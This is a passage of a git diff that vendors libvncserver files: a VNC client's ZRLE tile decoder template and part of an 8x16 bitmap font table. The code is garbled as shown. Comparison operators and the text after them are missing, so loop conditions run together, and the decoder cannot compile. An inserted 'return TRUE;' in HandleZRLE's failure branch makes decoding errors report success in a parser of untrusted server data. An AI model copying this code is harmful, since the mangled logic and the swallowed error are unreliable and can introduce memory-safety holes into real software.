PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef LIBVNCSERVER_HAVE_LIBZ + +/* + * zrle.c - handle zrle encoding. + * + * This file shouldn't be compiled directly. It is included multiple times by + * rfbproto.c, each time with a different definition of the macro BPP. For + * each value of BPP, this file defines a function which handles an zrle + * encoded rectangle with BPP bits per pixel. + */ + +#ifndef REALBPP +#define REALBPP BPP +#endif + +#if !defined(UNCOMP) || UNCOMP==0 +#define HandleZRLE CONCAT2E(HandleZRLE,REALBPP) +#define HandleZRLETile CONCAT2E(HandleZRLETile,REALBPP) +#elif UNCOMP>0 +#define HandleZRLE CONCAT3E(HandleZRLE,REALBPP,Down) +#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Down) +#else +#define HandleZRLE CONCAT3E(HandleZRLE,REALBPP,Up) +#define HandleZRLETile CONCAT3E(HandleZRLETile,REALBPP,Up) +#endif +#define CARDBPP CONCAT3E(uint,BPP,_t) +#define CARDREALBPP CONCAT3E(uint,REALBPP,_t) + +#define ENDIAN_LITTLE 0 +#define ENDIAN_BIG 1 +#define ENDIAN_NO 2 +#define ZYWRLE_ENDIAN ENDIAN_LITTLE +#undef END_FIX +#if ZYWRLE_ENDIAN == ENDIAN_LITTLE +# define END_FIX LE +#elif ZYWRLE_ENDIAN == ENDIAN_BIG +# define END_FIX BE +#else +# define END_FIX NE +#endif +#define __RFB_CONCAT3E(a,b,c) CONCAT3E(a,b,c) +#define __RFB_CONCAT2E(a,b) CONCAT2E(a,b) +#undef CPIXEL +#if REALBPP != BPP +#if UNCOMP == 0 +#define CPIXEL REALBPP +#elif UNCOMP>0 +#define CPIXEL CONCAT2E(REALBPP,Down) +#else +#define CPIXEL CONCAT2E(REALBPP,Up) +#endif +#endif +#define PIXEL_T __RFB_CONCAT3E(uint,BPP,_t) +#if BPP!=8 +#define ZYWRLE_DECODE 1 +#include "zywrletemplate.c" +#endif +#undef CPIXEL + +static int HandleZRLETile(rfbClient* client, + uint8_t* buffer,size_t buffer_length, + int x,int y,int w,int h); + +static rfbBool +HandleZRLE (rfbClient* client, int rx, int ry, int rw, int rh) +{ + rfbZRLEHeader header; + int remaining; + int inflateResult; + int toRead; + int min_buffer_size = rw * rh * (REALBPP / 8) * 2; + + /* First make sure we have a large enough raw buffer to hold the + * decompressed data. In practice, with a fixed REALBPP, fixed frame + * buffer size and the first update containing the entire frame + * buffer, this buffer allocation should only happen once, on the + * first update. + */ + if ( client->raw_buffer_size < min_buffer_size) { + + if ( client->raw_buffer != NULL ) { + + free( client->raw_buffer ); + + } + + client->raw_buffer_size = min_buffer_size; + client->raw_buffer = (char*) malloc( client->raw_buffer_size ); + + } + + if (!ReadFromRFBServer(client, (char *)&header, sz_rfbZRLEHeader)) + return FALSE; + + remaining = rfbClientSwap32IfLE(header.length); + + /* Need to initialize the decompressor state. */ + client->decompStream.next_in = ( Bytef * )client->buffer; + client->decompStream.avail_in = 0; + client->decompStream.next_out = ( Bytef * )client->raw_buffer; + client->decompStream.avail_out = client->raw_buffer_size; + client->decompStream.data_type = Z_BINARY; + + /* Initialize the decompression stream structures on the first invocation. */ + if ( client->decompStreamInited == FALSE ) { + + inflateResult = inflateInit( &client->decompStream ); + + if ( inflateResult != Z_OK ) { + rfbClientLog( + "inflateInit returned error: %d, msg: %s\n", + inflateResult, + client->decompStream.msg); + return FALSE; + } + + client->decompStreamInited = TRUE; + + } + + inflateResult = Z_OK; + + /* Process buffer full of data until no more to process, or + * some type of inflater error, or Z_STREAM_END. + */ + while (( remaining > 0 ) && + ( inflateResult == Z_OK )) { + + if ( remaining > RFB_BUFFER_SIZE ) { + toRead = RFB_BUFFER_SIZE; + } + else { + toRead = remaining; + } + + /* Fill the buffer, obtaining data from the server. */ + if (!ReadFromRFBServer(client, client->buffer,toRead)) + return FALSE; + + client->decompStream.next_in = ( Bytef * )client->buffer; + client->decompStream.avail_in = toRead; + + /* Need to uncompress buffer full. */ + inflateResult = inflate( &client->decompStream, Z_SYNC_FLUSH ); + + /* We never supply a dictionary for compression. */ + if ( inflateResult == Z_NEED_DICT ) { + rfbClientLog("zlib inflate needs a dictionary!\n"); + return FALSE; + } + if ( inflateResult < 0 ) { + rfbClientLog( + "zlib inflate returned error: %d, msg: %s\n", + inflateResult, + client->decompStream.msg); + return FALSE; + } + + /* Result buffer allocated to be at least large enough. We should + * never run out of space! + */ + if (( client->decompStream.avail_in > 0 ) && + ( client->decompStream.avail_out <= 0 )) { + rfbClientLog("zlib inflate ran out of space!\n"); + return FALSE; + } + + remaining -= toRead; + + } /* while ( remaining > 0 ) */ + + if ( inflateResult == Z_OK ) { + char* buf=client->raw_buffer; + int i,j; + + remaining = client->raw_buffer_size-client->decompStream.avail_out; + + for(j=0; jrw)?rw-i:rfbZRLETileWidth; + int subHeight=(j+rfbZRLETileHeight>rh)?rh-j:rfbZRLETileHeight; + int result=HandleZRLETile(client,(uint8_t *)buf,remaining,rx+i,ry+j,subWidth,subHeight); + + if(result<0) { + rfbClientLog("ZRLE decoding failed (%d)\n",result); +return TRUE; + return FALSE; + } + + buf+=result; + remaining-=result; + } + } + else { + + rfbClientLog( + "zlib inflate returned error: %d, msg: %s\n", + inflateResult, + client->decompStream.msg); + return FALSE; + + } + + return TRUE; +} + +#if REALBPP!=BPP && defined(UNCOMP) && UNCOMP!=0 +#if UNCOMP>0 +#define UncompressCPixel(pointer) ((*(CARDBPP*)pointer)>>UNCOMP) +#else +#define UncompressCPixel(pointer) ((*(CARDBPP*)pointer)<<(-(UNCOMP))) +#endif +#else +#define UncompressCPixel(pointer) (*(CARDBPP*)pointer) +#endif + +static int HandleZRLETile(rfbClient* client, + uint8_t* buffer,size_t buffer_length, + int x,int y,int w,int h) { + uint8_t* buffer_copy = buffer; + uint8_t* buffer_end = buffer+buffer_length; + uint8_t type; +#if BPP!=8 + uint8_t zywrle_level = (client->appData.qualityLevel & 0x80) ? + 0 : (3 - client->appData.qualityLevel / 3); +#endif + + if(buffer_length<1) + return -2; + + type = *buffer; + buffer++; + { + if( type == 0 ) /* raw */ +#if BPP!=8 + if( zywrle_level > 0 ){ + CARDBPP* pFrame = (CARDBPP*)client->frameBuffer + y*client->width+x; + int ret; + client->appData.qualityLevel |= 0x80; + ret = HandleZRLETile(client, buffer, buffer_end-buffer, x, y, w, h); + client->appData.qualityLevel &= 0x7F; + if( ret < 0 ){ + return ret; + } + ZYWRLE_SYNTHESIZE( pFrame, pFrame, w, h, client->width, zywrle_level, (int*)client->zlib_buffer ); + buffer += ret; + }else +#endif + { +#if REALBPP!=BPP + int i,j; + + if(1+w*h*REALBPP/8>buffer_length) { + rfbClientLog("expected %d bytes, got only %d (%dx%d)\n",1+w*h*REALBPP/8,buffer_length,w,h); + return -3; + } + + for(j=y*client->width; j<(y+h)*client->width; j+=client->width) + for(i=x; iframeBuffer)[j+i] = UncompressCPixel(buffer); +#else + client->GotBitmap(client, buffer, x, y, w, h); + buffer+=w*h*REALBPP/8; +#endif + } + else if( type == 1 ) /* solid */ + { + CARDBPP color = UncompressCPixel(buffer); + + if(1+REALBPP/8>buffer_length) + return -4; + + client->GotFillRect(client, x, y, w, h, color); + + buffer+=REALBPP/8; + + } + else if( (type >= 2)&&(type <= 127) ) /* packed Palette */ + { + CARDBPP palette[16]; + int i,j,shift, + bpp=(type>4?(type>16?8:4):(type>2?2:1)), + mask=(1<buffer_length) + return -5; + + /* read palette */ + for(i=0; iwidth; j<(y+h)*client->width; j+=client->width) { + for(i=x,shift=8-bpp; iframeBuffer)[j+i] = palette[((*buffer)>>shift)&mask]; + shift-=bpp; + if(shift<0) { + shift=8-bpp; + buffer++; + } + } + if(shift<8-bpp) + buffer++; + } + + } + /* case 17 ... 127: not used, but valid */ + else if( type == 128 ) /* plain RLE */ + { + int i=0,j=0; + while(jbuffer_end) + return -7; + color = UncompressCPixel(buffer); + buffer+=REALBPP/8; + /* read run length */ + length=1; + while(*buffer==0xff) { + if(buffer+1>=buffer_end) + return -8; + length+=*buffer; + buffer++; + } + length+=*buffer; + buffer++; + while(j0) { + ((CARDBPP*)client->frameBuffer)[(y+j)*client->width+x+i] = color; + length--; + i++; + if(i>=w) { + i=0; + j++; + } + } + if(length>0) + rfbClientLog("Warning: possible ZRLE corruption\n"); + } + + } + else if( type == 129 ) /* unused */ + { + return -8; + } + else if( type >= 130 ) /* palette RLE */ + { + CARDBPP palette[128]; + int i,j; + + if(2+(type-128)*REALBPP/8>buffer_length) + return -9; + + /* read palette */ + for(i=0; i=buffer_end) + return -10; + color = palette[(*buffer)&0x7f]; + length=1; + if(*buffer&0x80) { + if(buffer+1>=buffer_end) + return -11; + buffer++; + /* read run length */ + while(*buffer==0xff) { + if(buffer+1>=buffer_end) + return -8; + length+=*buffer; + buffer++; + } + length+=*buffer; + } + buffer++; + while(j0) { + ((CARDBPP*)client->frameBuffer)[(y+j)*client->width+x+i] = color; + length--; + i++; + if(i>=w) { + i=0; + j++; + } + } + if(length>0) + rfbClientLog("Warning: possible ZRLE corruption\n"); + } + } + } + + return buffer-buffer_copy; +} + +#undef CARDBPP +#undef CARDREALBPP +#undef HandleZRLE +#undef HandleZRLETile +#undef UncompressCPixel + +#endif + +#undef UNCOMP +#undef REALBPP diff --git a/3rdparty/libvncserver/rfb/default8x16.h b/3rdparty/libvncserver/rfb/default8x16.h new file mode 100644 index 0000000..6096b1c --- /dev/null +++ b/3rdparty/libvncserver/rfb/default8x16.h @@ -0,0 +1,266 @@ +#ifndef _DEFAULT_8_X_16_H +#define _DEFAULT_8_X_16_H + +static unsigned char default8x16FontData[4096+1]={ +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x7e,0x81,0xa5,0x81,0x81,0xbd,0x99,0x81,0x81,0x7e,0x00,0x00,0x00,0x00, +0x00,0x00,0x7e,0xff,0xdb,0xff,0xff,0xc3,0xe7,0xff,0xff,0x7e,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x6c,0xfe,0xfe,0xfe,0xfe,0x7c,0x38,0x10,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x10,0x38,0x7c,0xfe,0x7c,0x38,0x10,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x18,0x3c,0x3c,0xe7,0xe7,0xe7,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x18,0x3c,0x7e,0xff,0xff,0x7e,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x3c,0x3c,0x18,0x00,0x00,0x00,0x00,0x00,0x00, +0xff,0xff,0xff,0xff,0xff,0xff,0xe7,0xc3,0xc3,0xe7,0xff,0xff,0xff,0xff,0xff,0xff, +0x00,0x00,0x00,0x00,0x00,0x3c,0x66,0x42,0x42,0x66,0x3c,0x00,0x00,0x00,0x00,0x00, +0xff,0xff,0xff,0xff,0xff,0xc3,0x99,0xbd,0xbd,0x99,0xc3,0xff,0xff,0xff,0xff,0xff, +0x00,0x00,0x1e,0x0e,0x1a,0x32,0x78,0xcc,0xcc,0xcc,0xcc,0x78,0x00,0x00,0x00,0x00, +0x00,0x00,0x3c,0x66,0x66,0x66,0x66,0x3c,0x18,0x7e,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x3f,0x33,0x3f,0x30,0x30,0x30,0x30,0x70,0xf0,0xe0,0x00,0x00,0x00,0x00, +0x00,0x00,0x7f,0x63,0x7f,0x63,0x63,0x63,0x63,0x67,0xe7,0xe6,0xc0,0x00,0x00,0x00, +0x00,0x00,0x00,0x18,0x18,0xdb,0x3c,0xe7,0x3c,0xdb,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x80,0xc0,0xe0,0xf0,0xf8,0xfe,0xf8,0xf0,0xe0,0xc0,0x80,0x00,0x00,0x00,0x00, +0x00,0x02,0x06,0x0e,0x1e,0x3e,0xfe,0x3e,0x1e,0x0e,0x06,0x02,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x7e,0x3c,0x18,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x66,0x66,0x00,0x00,0x00,0x00, +0x00,0x00,0x7f,0xdb,0xdb,0xdb,0x7b,0x1b,0x1b,0x1b,0x1b,0x1b,0x00,0x00,0x00,0x00, +0x00,0x7c,0xc6,0x60,0x38,0x6c,0xc6,0xc6,0x6c,0x38,0x0c,0xc6,0x7c,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xfe,0xfe,0xfe,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x7e,0x3c,0x18,0x7e,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x7e,0x3c,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x18,0x0c,0xfe,0x0c,0x18,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x30,0x60,0xfe,0x60,0x30,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xc0,0xc0,0xfe,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x24,0x66,0xff,0x66,0x24,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x10,0x38,0x38,0x7c,0x7c,0xfe,0xfe,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0xfe,0xfe,0x7c,0x7c,0x38,0x38,0x10,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x3c,0x3c,0x3c,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x66,0x66,0x66,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x6c,0x6c,0xfe,0x6c,0x6c,0x6c,0xfe,0x6c,0x6c,0x00,0x00,0x00,0x00, +0x18,0x18,0x7c,0xc6,0xc2,0xc0,0x7c,0x06,0x06,0x86,0xc6,0x7c,0x18,0x18,0x00,0x00, +0x00,0x00,0x00,0x00,0xc2,0xc6,0x0c,0x18,0x30,0x60,0xc6,0x86,0x00,0x00,0x00,0x00, +0x00,0x00,0x38,0x6c,0x6c,0x38,0x76,0xdc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x30,0x30,0x30,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x0c,0x18,0x30,0x30,0x30,0x30,0x30,0x30,0x18,0x0c,0x00,0x00,0x00,0x00, +0x00,0x00,0x30,0x18,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x18,0x30,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x66,0x3c,0xff,0x3c,0x66,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x18,0x30,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x02,0x06,0x0c,0x18,0x30,0x60,0xc0,0x80,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0xce,0xde,0xf6,0xe6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x38,0x78,0x18,0x18,0x18,0x18,0x18,0x18,0x7e,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0x06,0x0c,0x18,0x30,0x60,0xc0,0xc6,0xfe,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0x06,0x06,0x3c,0x06,0x06,0x06,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x0c,0x1c,0x3c,0x6c,0xcc,0xfe,0x0c,0x0c,0x0c,0x1e,0x00,0x00,0x00,0x00, +0x00,0x00,0xfe,0xc0,0xc0,0xc0,0xfc,0x06,0x06,0x06,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x38,0x60,0xc0,0xc0,0xfc,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0xfe,0xc6,0x06,0x06,0x0c,0x18,0x30,0x30,0x30,0x30,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0xc6,0x7c,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0xc6,0x7e,0x06,0x06,0x06,0x0c,0x78,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x30,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x06,0x0c,0x18,0x30,0x60,0x30,0x18,0x0c,0x06,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x60,0x30,0x18,0x0c,0x06,0x0c,0x18,0x30,0x60,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0x0c,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xde,0xde,0xde,0xdc,0xc0,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, +0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x66,0x66,0x66,0x66,0xfc,0x00,0x00,0x00,0x00, +0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc0,0xc2,0x66,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0xf8,0x6c,0x66,0x66,0x66,0x66,0x66,0x66,0x6c,0xf8,0x00,0x00,0x00,0x00, +0x00,0x00,0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x62,0x66,0xfe,0x00,0x00,0x00,0x00, +0x00,0x00,0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, +0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xde,0xc6,0xc6,0x66,0x3a,0x00,0x00,0x00,0x00, +0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, +0x00,0x00,0x3c,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0x1e,0x0c,0x0c,0x0c,0x0c,0x0c,0xcc,0xcc,0xcc,0x78,0x00,0x00,0x00,0x00, +0x00,0x00,0xe6,0x66,0x66,0x6c,0x78,0x78,0x6c,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, +0x00,0x00,0xf0,0x60,0x60,0x60,0x60,0x60,0x60,0x62,0x66,0xfe,0x00,0x00,0x00,0x00, +0x00,0x00,0xc3,0xe7,0xff,0xff,0xdb,0xc3,0xc3,0xc3,0xc3,0xc3,0x00,0x00,0x00,0x00, +0x00,0x00,0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x60,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xd6,0xde,0x7c,0x0c,0x0e,0x00,0x00, +0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x6c,0x66,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, +0x00,0x00,0x7c,0xc6,0xc6,0x60,0x38,0x0c,0x06,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0xff,0xdb,0x99,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xdb,0xdb,0xff,0x66,0x66,0x00,0x00,0x00,0x00, +0x00,0x00,0xc3,0xc3,0x66,0x3c,0x18,0x18,0x3c,0x66,0xc3,0xc3,0x00,0x00,0x00,0x00, +0x00,0x00,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0xff,0xc3,0x86,0x0c,0x18,0x30,0x60,0xc1,0xc3,0xff,0x00,0x00,0x00,0x00, +0x00,0x00,0x3c,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x80,0xc0,0xe0,0x70,0x38,0x1c,0x0e,0x06,0x02,0x00,0x00,0x00,0x00, +0x00,0x00,0x3c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x3c,0x00,0x00,0x00,0x00, +0x10,0x38,0x6c,0xc6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00, +0x30,0x30,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0xe0,0x60,0x60,0x78,0x6c,0x66,0x66,0x66,0x66,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xc0,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x1c,0x0c,0x0c,0x3c,0x6c,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0xcc,0x78,0x00, +0x00,0x00,0xe0,0x60,0x60,0x6c,0x76,0x66,0x66,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0x06,0x06,0x00,0x0e,0x06,0x06,0x06,0x06,0x06,0x06,0x66,0x66,0x3c,0x00, +0x00,0x00,0xe0,0x60,0x60,0x66,0x6c,0x78,0x78,0x6c,0x66,0xe6,0x00,0x00,0x00,0x00, +0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xe6,0xff,0xdb,0xdb,0xdb,0xdb,0xdb,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xf0,0x00, +0x00,0x00,0x00,0x00,0x00,0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0x0c,0x1e,0x00, +0x00,0x00,0x00,0x00,0x00,0xdc,0x76,0x66,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0x60,0x38,0x0c,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x10,0x30,0x30,0xfc,0x30,0x30,0x30,0x30,0x36,0x1c,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xc3,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xc3,0xc3,0xc3,0xdb,0xdb,0xff,0x66,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xc3,0x66,0x3c,0x18,0x3c,0x66,0xc3,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0xf8,0x00, +0x00,0x00,0x00,0x00,0x00,0xfe,0xcc,0x18,0x30,0x60,0xc6,0xfe,0x00,0x00,0x00,0x00, +0x00,0x00,0x0e,0x18,0x18,0x18,0x70,0x18,0x18,0x18,0x18,0x0e,0x00,0x00,0x00,0x00, +0x00,0x00,0x18,0x18,0x18,0x18,0x00,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, +0x00,0x00,0x70,0x18,0x18,0x18,0x0e,0x18,0x18,0x18,0x18,0x70,0x00,0x00,0x00,0x00, +0x00,0x00,0x76,0xdc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xc6,0xfe,0x00,0x00,0x00,0x00,0x00, +0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc2,0x66,0x3c,0x0c,0x06,0x7c,0x00,0x00, +0x00,0x00,0xcc,0x00,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x0c,0x18,0x30,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x10,0x38,0x6c,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0xcc,0x00,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x60,0x30,0x18,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x38,0x6c,0x38,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x00,0x3c,0x66,0x60,0x60,0x66,0x3c,0x0c,0x06,0x3c,0x00,0x00,0x00, +0x00,0x10,0x38,0x6c,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0xc6,0x00,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x60,0x30,0x18,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, +0x00,0x00,0x66,0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x18,0x3c,0x66,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0x60,0x30,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, +0x00,0xc6,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, +0x38,0x6c,0x38,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 